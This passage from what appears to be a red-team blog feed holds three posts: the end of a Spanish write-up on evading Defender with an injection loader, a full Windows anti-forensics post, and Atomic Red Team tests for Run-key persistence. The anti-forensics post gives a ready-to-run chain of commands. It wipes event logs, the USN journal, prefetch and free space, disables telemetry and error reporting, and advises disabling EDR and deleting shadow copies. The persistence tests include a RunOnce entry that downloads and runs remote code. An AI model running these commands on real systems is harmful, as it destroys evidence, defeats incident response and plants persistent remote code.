<p><strong>Para el Blue Team:</strong> Correlación de Sysmon Event ID 10 (ProcessAccess sobre explorer.exe) más Event ID 8 (NtCreateThreadEx) en ventana de tiempo corta desde el mismo proceso origen es detección prácticamente sin falsos positivos. Sigma rule: <code>proc_access_win_inject_via_ntcreatethreadex</code> en SigmaHQ.</p>
</blockquote>
<hr />
<h2>Limitaciones que vale la pena documentar</h2>
<p>Ningún loader es perfecto. Documentar las limitaciones es lo que diferencia una investigación técnica seria de un post de marketing.</p>
<p><strong>El ETW patch no afecta al Kernel Sensor de MDE.</strong> Ya se dijo, pero vale la pena repetirlo porque es la limitación más crítica. Organizaciones con MDE Plan 2 y Kernel Sensor habilitado tienen visibilidad sobre las operaciones de inyección independientemente del patch de user-mode. RexLDR no tiene mecanismos para evadir telemetría a nivel de kernel.</p>
<p><strong>Sin evasión de hooks de kernel de EDR.</strong> CrowdStrike, SentinelOne y similares ponen drivers en el kernel que hookean syscalls directamente. El PEB Walker resuelve funciones de ntdll, pero si ntdll está hookeada a nivel de kernel, esas llamadas son visibles igualmente. Indirect syscalls (Hell's Gate / Halo's Gate) mitigarían esto.</p>
<p><strong>El tráfico de red no está obfuscado.</strong> <code>meterpreter_reverse_tcp</code> usa TCP raw sobre el 4444. Sin perfil C2 personalizado y transporte HTTPS, cualquier solución NDR con firmas de Meterpreter detecta la sesión. RexLDR bypasea el endpoint pero no el monitoring de red. En un entorno con NSM maduro, la sesión es visible en red aunque el endpoint no alertara.</p>
<img src="https://cdn.hashnode.com/uploads/covers/690c64913ff755ea4fc5493f/4b2a5559-7183-4f9b-953a-bc63bd6e1843.jpg" alt="" style="display:block;margin:0 auto" />

<p><strong>En memoria, el shellcode es detectable post-ejecución.</strong> Una vez descifrado y ejecutado, las firmas de Meterpreter están en memoria sin cifrar. pe-sieve, malfind o el propio Defender en escaneo periódico los encuentran. El bypass es efectivo en el momento de la inyección, no garantiza invisibilidad indefinida.</p>
<p><strong>El proceso objetivo es predecible.</strong> Siempre <code>explorer.exe</code>. Una sola regla que alerte sobre cualquier proceso no-Microsoft abriendo explorer.exe con derechos de creación de hilos cubre esto. PPID spoofing y selección dinámica del proceso objetivo son mejoras directas.</p>
<p><strong>Sin persistencia.</strong> La sesión se pierde en reboot. Correcto para un primer acceso puntual, insuficiente para operaciones largas.</p>
<hr />
<h2>Resultados y cómo se verificó la ausencia de detección</h2>
<h3>Entorno de pruebas</h3>
<table>
<thead>
<tr>
<th>Campo</th>
<th>Valor</th>
</tr>
</thead>
<tbody><tr>
<td>Fecha</td>
<td>11 de abril de 2026</td>
</tr>
<tr>
<td>Real-time protection</td>
<td>ON</td>
</tr>
<tr>
<td>Cloud-delivered protection</td>
<td>ON</td>
</tr>
<tr>
<td>MDE</td>
<td>No presente (standalone Defender)</td>
</tr>
<tr>
<td>Payload</td>
<td>windows/x64/meterpreter_reverse_tcp stageless</td>
</tr>
<tr>
<td>Proceso objetivo</td>
<td>explorer.exe</td>
</tr>
</tbody></table>
<p>La ausencia de MDE es relevante y merece destacarse. Con MDE P2 y Kernel Sensor habilitado, el resultado no está garantizado. Las pruebas con Defender standalone no representan el nivel de detección de un entorno corporativo con MDE completo. Es importante decirlo porque muchos posts de bypass de AV no lo hacen.</p>
<h3>Logs revisados para confirmar la ausencia de detección</h3>
<p>Windows Defender Operational Log en <code>Applications and Services Logs → Microsoft → Windows → Windows Defender → Operational</code>: sin Event ID 1116 (malware detected) ni 1117 (malware action taken) durante el período de la prueba.</p>
<p>Windows Defender Threat History: sin entradas en el período.</p>
<p>Event Viewer → Security: el proceso loader aparece en Event ID 4688 (creación de proceso), sin correlaciones de alerta asociadas.</p>
<p>Process Monitor utilizado durante el desarrollo para verificar el comportamiento del loader y confirmar las llamadas NT esperadas sin terminaciones inesperadas. MDE Portal no disponible en este entorno, lo cual es una limitación del setup de pruebas que afecta a la validez de los resultados en entornos corporativos.</p>
<hr />
<h2>Sobre la vida útil de estas técnicas</h2>
<p>Cada técnica documentada aquí tiene fecha de caducidad.</p>
<p>El ETW patching de user-mode fue efectivo durante años. Microsoft está moviendo más detecciones al kernel, donde los patches de user-mode no llegan. El AMSI bypass directo de <code>AmsiScanBuffer</code> está cada vez más vigilado y aparecen protecciones adicionales en cada build nueva de Windows. MapView injection era casi desconocida en firmas comportamentales hace tres años. Hoy tiene su entrada en MITRE ATT&amp;CK como T1055.015 y hay reglas de Sigma maduras para detectarla.</p>
<p>Esto es estructural, no accidental. La detección por comportamiento obliga a los defensores a conocer exactamente qué patrón de llamadas corresponde a cada técnica. La respuesta ofensiva es bajar un nivel de abstracción: de Win32 a NT, de NT a syscalls directos, de syscalls a técnicas sobre estructuras de kernel directamente. En cada iteración, la ventana de efectividad se estrecha y el coste de desarrollo sube de forma no lineal.</p>
<p>Lo que más me interesa de este ciclo no es qué técnica específica funcionará el año que viene. Eso cambia con cada actualización. Lo que me interesa es el principio que subyace: la detección por comportamiento siempre puede ser evadida si el atacante reduce suficientemente su huella de syscalls y opera cerca del metal. Indirect syscalls eliminan la dependencia de ntdll hookeada por EDR. Exploits de kernel eliminan incluso esa dependencia. Pero a medida que bajas de nivel, el número de desarrolladores capaces de operar ahí cae exponencialmente, y la asimetría de recursos empieza a favorecer a los defensores en términos de sostenibilidad.</p>
<p>RexLDR es una fotografía de un momento concreto contra un entorno concreto. El valor no está en las técnicas, que van a envejecer, sino en documentar por qué funcionan y cuándo van a dejar de hacerlo.</p>
<img src="https://cdn.hashnode.com/uploads/covers/690c64913ff755ea4fc5493f/a917ad95-6d20-48bf-ba28-a1de7c3864fd.jpg" alt="" style="display:block;margin:0 auto" />]]></content:encoded></item><item><title><![CDATA[Windows Anti-Forensics: Erasing Tracks to Evade Blue Team in Red Team Ops]]></title><description><![CDATA[In red team engagements, persistence is only half the battle evasion is the other. A single overlooked log, cached DNS entry, or recoverable deleted file…]]></description><link>https://blog.redghostops.com/windows-anti-forensics-erasing-tracks-to-evade-blue-team-in-red-team-ops</link><guid isPermaLink="true">https://blog.redghostops.com/windows-anti-forensics-erasing-tracks-to-evade-blue-team-in-red-team-ops</guid><dc:creator><![CDATA[Marco Carola]]></dc:creator><pubDate>Thu, 06 Nov 2025 12:11:37 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/690c64913ff755ea4fc5493f/3d2596ee-5e08-4dba-b09c-cee8b982d1de.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>In red team engagements, persistence is only half the battle evasion is the other. A single overlooked log, cached DNS entry, or recoverable deleted file can unravel an entire operation. This post details a battle-tested sequence of native Windows commands designed to <strong>systematically erase forensic artifacts</strong> while minimizing noise and maximizing coverage.</p>
<p>These commands target:</p>
<ul>
<li><p>Red Ghost OpsFree spaceRed Ghost Ops (unrecoverable deletion)</p>
</li>
<li><p>Red Ghost OpsEvent logsRed Ghost Ops</p>
</li>
<li><p>Red Ghost OpsDNS cacheRed Ghost Ops</p>
</li>
<li><p>Red Ghost OpsBrowser artifactsRed Ghost Ops</p>
</li>
<li><p>Red Ghost OpsNTFS metadata (USN Journal)Red Ghost Ops</p>
</li>
<li><p>Red Ghost OpsTemp files, prefetch, print spoolRed Ghost Ops</p>
</li>
<li><p>Red Ghost OpsTelemetry and error reportingRed Ghost Ops</p>
</li>
</ul>
<blockquote>
<p>Warning (Red Team Disclaimer): Use only in authorized engagements. These actions are irreversible and may trigger EDR alerts if not executed with proper OPSEC.</p>
</blockquote>
<hr />
<h2>1. Overwrite Free Space – Prevent File Recovery</h2>
<pre><code class="language-plaintext">cipher /w:C:\
</code></pre>
<ul>
<li><p><strong>Purpose</strong>: Overwrites <strong>all free space</strong> on C:\ with 0x00, 0xFF, and random data (3-pass pattern).</p>
</li>
<li><p><strong>Impact</strong>: Deleted files become <strong>unrecoverable</strong> by forensic tools (Recuva, Autopsy, etc.).</p>
</li>
<li><p><strong>Risk</strong>: High I/O and CPU usage. <strong>Slow</strong> (hours on large drives). No effect on active files.</p>
</li>
<li><p><strong>Blue Team Counter</strong>: Volume Shadow Copies (VSS) may still contain prior snapshots.</p>
</li>
</ul>
<h2>2. Flush DNS Cache – Break Local Resolution Trails</h2>
<pre><code class="language-plaintext">ipconfig /flushdns
</code></pre>
<ul>
<li><p><strong>Purpose</strong>: Clears locally cached DNS resolutions.</p>
</li>
<li><p><strong>Impact</strong>: Forces fresh DNS queries—removes evidence of C2 domains accessed.</p>
</li>
<li><p><strong>Risk</strong>: Low. May cause brief connectivity delays.</p>
</li>
<li><p><strong>Blue Team Counter</strong>: Network logs (firewall, DNS server) remain untouched.</p>
</li>
</ul>
<hr />
<h2>3. Clear System Event Log</h2>
<pre><code class="language-plaintext">wevtutil cl System
</code></pre>
<ul>
<li><p><strong>Purpose</strong>: <strong>Permanently deletes</strong> the System event log.</p>
</li>
<li><p><strong>Impact</strong>: Removes boot, driver, service, and security events.</p>
</li>
<li><p><strong>Risk</strong>: <strong>Irreversible</strong>. Breaks incident timeline reconstruction.</p>
</li>
<li><p><strong>Blue Team Counter</strong>: SIEM ingestion prior to clear; Event Log backup services.</p>
</li>
</ul>
<hr />
<h2>4. Wipe IE/Edge Legacy Browser Artifacts</h2>
<pre><code class="language-plaintext">RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 255
</code></pre>
<ul>
<li><p><strong>Purpose</strong>: Deletes <strong>history, cookies, cache, passwords, form data</strong> from IE/Edge (legacy).</p>
</li>
<li><p><strong>Impact</strong>: Covers web-based C2 (e.g., Empire over HTTP).</p>
</li>
<li><p><strong>Risk</strong>: Low. Affects only IE/Edge components.</p>
</li>
<li><p><strong>Blue Team Counter</strong>: Modern Edge (Chromium) uses different storage—use browser-specific tools.</p>
</li>
</ul>
<hr />
<h2>5. Delete NTFS USN Change Journal</h2>
<pre><code class="language-plaintext">fsutil usn deletejournal /d /n C:
</code></pre>
<ul>
<li><p><strong>Purpose</strong>: Erases the <strong>USN Journal</strong> ($UsnJrnl), which tracks file creation/modification/deletion.</p>
</li>
<li><p><strong>Impact</strong>: Breaks <strong>incremental backups</strong>, file indexing (Search, antivirus), and timeline analysis.</p>
</li>
<li><p><strong>Risk</strong>: <strong>High</strong>—may corrupt backup chains or trigger AV rescans.</p>
</li>
<li><p><strong>Blue Team Counter</strong>: Journal may auto-recreate on next change; prior entries lost.</p>
</li>
</ul>
<hr />
<h2>6. Clear User Temp Files</h2>
<pre><code class="language-plaintext">del /f /s /q %TEMP%\*.*
</code></pre>
<ul>
<li><p><strong>Purpose</strong>: Force-deletes all files in the user’s temp directory.</p>
</li>
<li><p><strong>Impact</strong>: Removes payloads, scripts, or tools staged in %TEMP%.</p>
</li>
<li><p><strong>Risk</strong>: Low–moderate. Running apps may crash if files are in use.</p>
</li>
<li><p><strong>Blue Team Counter</strong>: File access monitoring (Sysmon Event ID 11) may log before deletion.</p>
</li>
</ul>
<hr />
<h2>7. Disable Hibernation &amp; Delete hiberfil.sys</h2>
<pre><code class="language-plaintext">powercfg /hibernate off
</code></pre>
<ul>
<li><p><strong>Purpose</strong>: Removes hiberfil.sys (size ≈ RAM), a common forensic goldmine (contains RAM dump).</p>
</li>
<li><p><strong>Impact</strong>: Frees space; prevents hibernation.</p>
</li>
<li><p><strong>Risk</strong>: Reversible (powercfg /hibernate on). Disables Fast Startup.</p>
</li>
<li><p><strong>Blue Team Counter</strong>: None if executed post-exfiltration.</p>
</li>
</ul>
<hr />
<h2>8. Reset TCP/IP Stack</h2>
<pre><code class="language-plaintext">netsh interface ipv4 reset
</code></pre>
<ul>
<li><p><strong>Purpose</strong>: Clears custom IP/DNS settings, proxy configs, and interface state.</p>
</li>
<li><p><strong>Impact</strong>: Useful after using static routes or proxychains.</p>
</li>
<li><p><strong>Risk</strong>: Requires reconfig or reboot. May break VPNs.</p>
</li>
<li><p><strong>Blue Team Counter</strong>: Netflow or interface config logs.</p>
</li>
</ul>
<hr />
<h2>9. Clear Print Spooler Queue</h2>
<pre><code class="language-plaintext">del /q /f /s %systemroot%\System32\spool\PRINTERS\*
</code></pre>
<ul>
<li><p><strong>Purpose</strong>: Deletes pending print jobs (often contain sensitive docs or stagers).</p>
</li>
<li><p><strong>Impact</strong>: Cancels all print jobs.</p>
</li>
<li><p><strong>Risk</strong>: Low. May require spooler restart if files locked.</p>
</li>
<li><p><strong>Blue Team Counter</strong>: PrintNightmare or spooler monitoring.</p>
</li>
</ul>
<hr />
<h2>10. Disable Telemetry</h2>
<pre><code class="language-plaintext">reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\DataCollection" /v AllowTelemetry /t REG_DWORD /d 0 /f
</code></pre>
<ul>
<li><p><strong>Purpose</strong>: Sets telemetry to <strong>0</strong> (disabled) via GPO-style registry key.</p>
</li>
<li><p><strong>Impact</strong>: Reduces diagnostic data sent to Microsoft.</p>
</li>
<li><p><strong>Risk</strong>: Low. May not apply on Home editions.</p>
</li>
<li><p><strong>Blue Team Counter</strong>: Central telemetry collection (e.g., OMS, Defender ATP).</p>
</li>
</ul>
<hr />
<h2>11. Clear Prefetch Files</h2>
<pre><code class="language-plaintext">del /q /f /s %SystemRoot%\Prefetch\*.*
</code></pre>
<ul>
<li><p><strong>Purpose</strong>: Deletes .pf files that record <strong>application execution paths and timestamps</strong>.</p>
</li>
<li><p><strong>Impact</strong>: Removes evidence of tool usage (e.g., mimikatz.exe).</p>
</li>
<li><p><strong>Risk</strong>: Temporary performance hit on app launch.</p>
</li>
<li><p><strong>Blue Team Counter</strong>: Prefetch parsing (e.g., PECmd, WinPMEM).</p>
</li>
</ul>
<hr />
<h2>12. Disable Windows Error Reporting</h2>
<pre><code class="language-plaintext">reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Error Reporting" /v Disabled /t REG_DWORD /d 1
</code></pre>
<ul>
<li><p><strong>Purpose</strong>: Stops crash dumps and error reports.</p>
</li>
<li><p><strong>Impact</strong>: Prevents upload of memory dumps containing keys or tokens.</p>
</li>
<li><p><strong>Risk</strong>: Low. Hinders post-exploitation analysis.</p>
</li>
<li><p><strong>Blue Team Counter</strong>: Local WER queue before upload.</p>
</li>
</ul>
<hr />
<h2>Execution Order &amp; OPSEC Tips</h2>
<pre><code class="language-plaintext">cipher /w:C:\
ipconfig /flushdns
wevtutil cl System
RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 255
fsutil usn deletejournal /d /n C:
del /f /s /q %TEMP%\*.*
powercfg /hibernate off
netsh interface ipv4 reset
del /q /f /s %systemroot%\System32\spool\PRINTERS\*
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\DataCollection" /v AllowTelemetry /t REG_DWORD /d 0 /f
del /q /f /s %SystemRoot%\Prefetch\*.*
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Error Reporting" /v Disabled /t REG_DWORD /d 1
</code></pre>
<h3>OPSEC Recommendations:</h3>
<ul>
<li><p><strong>Run as SYSTEM</strong> (via psexec -s or token impersonation).</p>
</li>
<li><p><strong>Disable EDR hooks</strong> first (if possible).</p>
</li>
<li><p><strong>Avoid GUI</strong>—use cmd or PowerShell with -WindowStyle Hidden.</p>
</li>
<li><p><strong>Stagger execution</strong> to avoid I/O spikes.</p>
</li>
<li><p><strong>Check VSS</strong> first: vssadmin list shadows → delete if needed (/for=C:).</p>
</li>
</ul>
<hr />
<h2>What This <strong>Doesn’t</strong> Cover</h2>
<ul>
<li><p><strong>Memory forensics</strong> (use Rundll32.exe comsvcs.dll MiniDump countermeasures separately)</p>
</li>
<li><p><strong>Modern Edge/Chrome</strong> (use Get-Process msedge | Stop-Process + clear %LocalAppData%\Microsoft\Edge)</p>
</li>
<li><p><strong>Sysmon/Event Forwarding</strong></p>
</li>
<li><p><strong>MFT/$LogFile</strong> (use fsutil behavior set disablecompression 1 + ntfsinfo)</p>
</li>
</ul>
<hr />
<h2>Final Notes</h2>
<p>This sequence turns a compromised host into a <strong>forensic black hole</strong>. Blue team will see:</p>
<ul>
<li><p>No event logs</p>
</li>
<li><p>No prefetch</p>
</li>
<li><p>No DNS history</p>
</li>
<li><p>No recoverable deleted files</p>
</li>
</ul>
<blockquote>
<p><strong>Red Team Pro Tip</strong>: Combine with <strong>timestomping</strong>, <strong>logon spoofing</strong>, and <strong>AMS1 bypass</strong> for full-spectrum evasion.</p>
</blockquote>
<p>Stay ghosted.</p>
]]></content:encoded></item><item><title><![CDATA[Living in the Run Key: Practical Persistence for Red Team Ops]]></title><description><![CDATA[Windows persistence]]></description><link>https://blog.redghostops.com/living-in-the-run-key-practical-persistence-for-red-team-ops</link><guid isPermaLink="true">https://blog.redghostops.com/living-in-the-run-key-practical-persistence-for-red-team-ops</guid><category><![CDATA[windows persistence]]></category><category><![CDATA[redteaming]]></category><category><![CDATA[hacking]]></category><dc:creator><![CDATA[Marco Carola]]></dc:creator><pubDate>Thu, 06 Nov 2025 09:16:26 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/690c64913ff755ea4fc5493f/5cafbc46-4e90-4423-8bba-e1c47e6324d9.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2><a href="https://attack.mitre.org/techniques/T1547/001"><strong>Description from ATT&amp;CK</strong></a></h2>
<blockquote>
<p>Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.(Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.</p>
<p>The following run keys are created by default on Windows systems:</p>
<ul>
<li><p><code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run</code></p>
</li>
<li><p><code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce</code></p>
</li>
<li><p><code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run</code></p>
</li>
<li><p><code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce</code></p>
</li>
</ul>
<p>Run keys may exist under multiple hives.(Citation: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6432Node 2016) The <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx</code> is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency.(Citation: Microsoft Run Key) For example, it is possible to load a DLL at logon using a "Depend" key with RunOnceEx: <code>reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\temp\evil[.]dll"</code> (Citation: Oddvar Moe RunOnceEx Mar 2018)</p>
<p>Placing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is <code>C:\Users\[Username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup</code>. The startup folder path for all users is <code>C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp</code>.</p>
<p>The following Registry keys can be used to set startup folder items for persistence:</p>
<ul>
<li><p><code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders</code></p>
</li>
<li><p><code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders</code></p>
</li>
<li><p><code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders</code></p>
</li>
<li><p><code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders</code></p>
</li>
</ul>
<p>The following Registry keys can control automatic startup of services during boot:</p>
<ul>
<li><p><code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce</code></p>
</li>
<li><p><code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce</code></p>
</li>
<li><p><code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices</code></p>
</li>
<li><p><code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices</code></p>
</li>
</ul>
<p>Using policy settings to specify startup programs creates corresponding values in either of two Registry keys:</p>
<ul>
<li><p><code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run</code></p>
</li>
<li><p><code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run</code></p>
</li>
</ul>
<p>Programs listed in the load value of the registry key <code>HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows</code> run automatically for the currently logged-on user.</p>
<p>By default, the multistring <code>BootExecute</code> value of the registry key <code>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager</code> is set to <code>autocheck autochk *</code>. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.</p>
<p>Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use <a href="https://attack.mitre.org/techniques/T1036">Masquerading</a> to make the Registry entries look as if they are associated with legitimate programs.</p>
</blockquote>
<h2><strong>Atomic Tests</strong></h2>
<ul>
<li><p>Atomic Test #1 - Reg Key Run</p>
</li>
<li><p>Atomic Test #2 - Reg Key RunOnce</p>
</li>
<li><p>Atomic Test #3 - PowerShell Registry RunOnce</p>
</li>
<li><p>Atomic Test #4 - Suspicious vbs file run from startup Folder</p>
</li>
<li><p>Atomic Test #5 - Suspicious jse file run from startup Folder</p>
</li>
<li><p>Atomic Test #6 - Suspicious bat file run from startup Folder</p>
</li>
<li><p>Atomic Test #7 - Add Executable Shortcut Link to User Startup Folder</p>
</li>
<li><p>Atomic Test #8 - Add persistance via Recycle bin</p>
</li>
<li><p>Atomic Test #9 - SystemBC Malware-as-a-Service Registry</p>
</li>
<li><p>Atomic Test #10 - Change Startup Folder - HKLM Modify User Shell Folders Common Startup Value</p>
</li>
<li><p>Atomic Test #11 - Change Startup Folder - HKCU Modify User Shell Folders Startup Value</p>
</li>
<li><p>Atomic Test #12 - HKCU - Policy Settings Explorer Run Key</p>
</li>
<li><p>Atomic Test #13 - HKLM - Policy Settings Explorer Run Key</p>
</li>
<li><p>Atomic Test #14 - HKLM - Append Command to Winlogon Userinit KEY Value</p>
</li>
<li><p>Atomic Test #15 - HKLM - Modify default System Shell - Winlogon Shell KEY Value</p>
</li>
<li><p>Atomic Test #16 - secedit used to create a Run key in the HKLM Hive</p>
</li>
<li><p>Atomic Test #17 - Modify BootExecute Value</p>
</li>
<li><p>Atomic Test #18 - Allowing custom application to execute during new RDP logon session</p>
</li>
<li><p>Atomic Test #19 - Creating Boot Verification Program Key for application execution during successful boot</p>
</li>
<li><p>Atomic Test #20 - Add persistence via Windows Context Menu</p>
</li>
</ul>
<h2><strong>Atomic Test #1 - Reg Key Run</strong></h2>
<p>Run Key Persistence</p>
<p>Upon successful execution, cmd.exe will modify the registry by adding "Atomic Red Team" to the Run key. Output will be via stdout.</p>
<p><strong>Supported Platforms:</strong> Windows</p>
<p><strong>auto_generated_guid:</strong> e55be3fd-3521-4610-9d1a-e210e42dcf05</p>
<h4><strong>Inputs:</strong></h4>
<table>
<thead>
<tr>
<th><strong>Name</strong></th>
<th><strong>Description</strong></th>
<th><strong>Type</strong></th>
<th><strong>Default Value</strong></th>
</tr>
</thead>
<tbody><tr>
<td>command_to_execute</td>
<td>Thing to Run</td>
<td>path</td>
<td>C:\Path\AtomicRedTeam.exe</td>
</tr>
</tbody></table>
<h4><strong>Attack Commands: Run with</strong> <code>command_prompt</code>!</h4>
<pre><code class="language-plaintext">REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Atomic Red Team" /t REG_SZ /F /D "#{command_to_execute}"
</code></pre>
<h4><strong>Cleanup Commands:</strong></h4>
<pre><code class="language-plaintext">REG DELETE "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Atomic Red Team" /f &gt;nul 2&gt;&amp;1
</code></pre>
<h2><strong>Atomic Test #2 - Reg Key RunOnce</strong></h2>
<p>RunOnce Key Persistence.</p>
<p>Upon successful execution, cmd.exe will modify the registry to load AtomicRedTeam.dll to RunOnceEx. Output will be via stdout.</p>
<p><strong>Supported Platforms:</strong> Windows</p>
<p><strong>auto_generated_guid:</strong> 554cbd88-cde1-4b56-8168-0be552eed9eb</p>
<h4><strong>Inputs:</strong></h4>
<table>
<thead>
<tr>
<th><strong>Name</strong></th>
<th><strong>Description</strong></th>
<th><strong>Type</strong></th>
<th><strong>Default Value</strong></th>
</tr>
</thead>
<tbody><tr>
<td>thing_to_execute</td>
<td>Thing to Run</td>
<td>path</td>
<td>C:\Path\AtomicRedTeam.dll</td>
</tr>
</tbody></table>
<h4><strong>Attack Commands: Run with</strong> <code>command_prompt</code>! Elevation Required (e.g. root or admin)</h4>
<pre><code class="language-plaintext">REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "#{thing_to_execute}"
</code></pre>
<h4><strong>Cleanup Commands:</strong></h4>
<pre><code class="language-plaintext">REG DELETE HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /f &gt;nul 2&gt;&amp;1
</code></pre>
<h2><strong>Atomic Test #3 - PowerShell Registry RunOnce</strong></h2>
<p>RunOnce Key Persistence via PowerShell Upon successful execution, a new entry will be added to the runonce item in the registry.</p>
<p><strong>Supported Platforms:</strong> Windows</p>
<p><strong>auto_generated_guid:</strong> eb44f842-0457-4ddc-9b92-c4caa144ac42</p>
<h4><strong>Inputs:</strong></h4>
<table>
<thead>
<tr>
<th><strong>Name</strong></th>
<th><strong>Description</strong></th>
<th><strong>Type</strong></th>
<th><strong>Default Value</strong></th>
</tr>
</thead>
<tbody><tr>
<td>thing_to_execute</td>
<td>Thing to Run</td>
<td>path</td>
<td>powershell.exe</td>
</tr>
<tr>
<td>reg_key_path</td>
<td>Path to registry key to update</td>
<td>path</td>
<td>HKLM:\Software\Microsoft\Windows\CurrentVersion\RunOnce</td>
</tr>
</tbody></table>
<h4><strong>Attack Commands: Run with</strong> <code>powershell</code>! Elevation Required (e.g. root or admin)</h4>
<pre><code class="language-plaintext">$RunOnceKey = "#{reg_key_path}"
set-itemproperty $RunOnceKey "NextRun" '#{thing_to_execute} "IEX (New-Object Net.WebClient).DownloadString(`"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1547.001/src/Discovery.bat`")"'
</code></pre>
<h4><strong>Cleanup Commands:</strong></h4>
<pre><code class="language-plaintext">Remove-ItemProperty -Path #{reg_key_path} -Name "NextRun" -Force -ErrorAction Ignore
</code></pre>
<h2><strong>Atomic Test #4 - Suspicious vbs file run from startup Folder</strong></h2>
<p>vbs files can be placed in and ran from the startup folder to maintain persistance. Upon execution, "T1547.001 Hello, World VBS!" will be displayed twice. Additionally, the new files can be viewed in the "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup" folder and will also run when the computer is restarted and the user logs in.</p>
<p><strong>Supported Platforms:</strong> Windows</p>
<p><strong>auto_generated_guid:</strong> 2cb98256-625e-4da9-9d44-f2e5f90b8bd5</p>
<h4><strong>Attack Commands: Run with</strong> <code>powershell</code>! Elevation Required (e.g. root or admin)</h4>
<pre><code class="language-plaintext">Copy-Item "\(PathToAtomicsFolder\T1547.001\src\vbsstartup.vbs" "\)env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\vbsstartup.vbs"
Copy-Item "$PathToAtomicsFolder\T1547.001\src\vbsstartup.vbs" "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\vbsstartup.vbs"
cscript.exe "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\vbsstartup.vbs"
cscript.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\vbsstartup.vbs"
</code></pre>
<h4><strong>Cleanup Commands:</strong></h4>
<pre><code class="language-plaintext">Remove-Item "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\vbsstartup.vbs" -ErrorAction Ignore
Remove-Item "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\vbsstartup.vbs" -ErrorAction Ignore
</code></pre>
<h2><strong>Atomic Test #5 - Suspicious jse file run from startup Folder</strong></h2>
<p>jse files can be placed in and ran from the startup folder to maintain persistance. Upon execution, "T1547.001 Hello, World JSE!" will be displayed twice. Additionally, the new files can be viewed in the "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup" folder and will also run when the computer is restarted and the user logs in.</p>
<p><strong>Supported Platforms:</strong> Windows</p>
<p><strong>auto_generated_guid:</strong> dade9447-791e-4c8f-b04b-3a35855dfa06</p>
<h4><strong>Attack Commands: Run with</strong> <code>powershell</code>! Elevation Required (e.g. root or admin)</h4>
<pre><code class="language-plaintext">Copy-Item "\(PathToAtomicsFolder\T1547.001\src\jsestartup.jse" "\)env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\jsestartup.jse"
Copy-Item "$PathToAtomicsFolder\T1547.001\src\jsestartup.jse" "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\jsestartup.jse"
cscript.exe /E:Jscript "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\jsestartup.jse"
cscript.exe /E:Jscript "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\jsestartup.jse"
</code></pre>
<h4><strong>Cleanup Commands:</strong></h4>
<pre><code class="language-plaintext">Remove-Item "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\jsestartup.jse" -ErrorAction Ignore
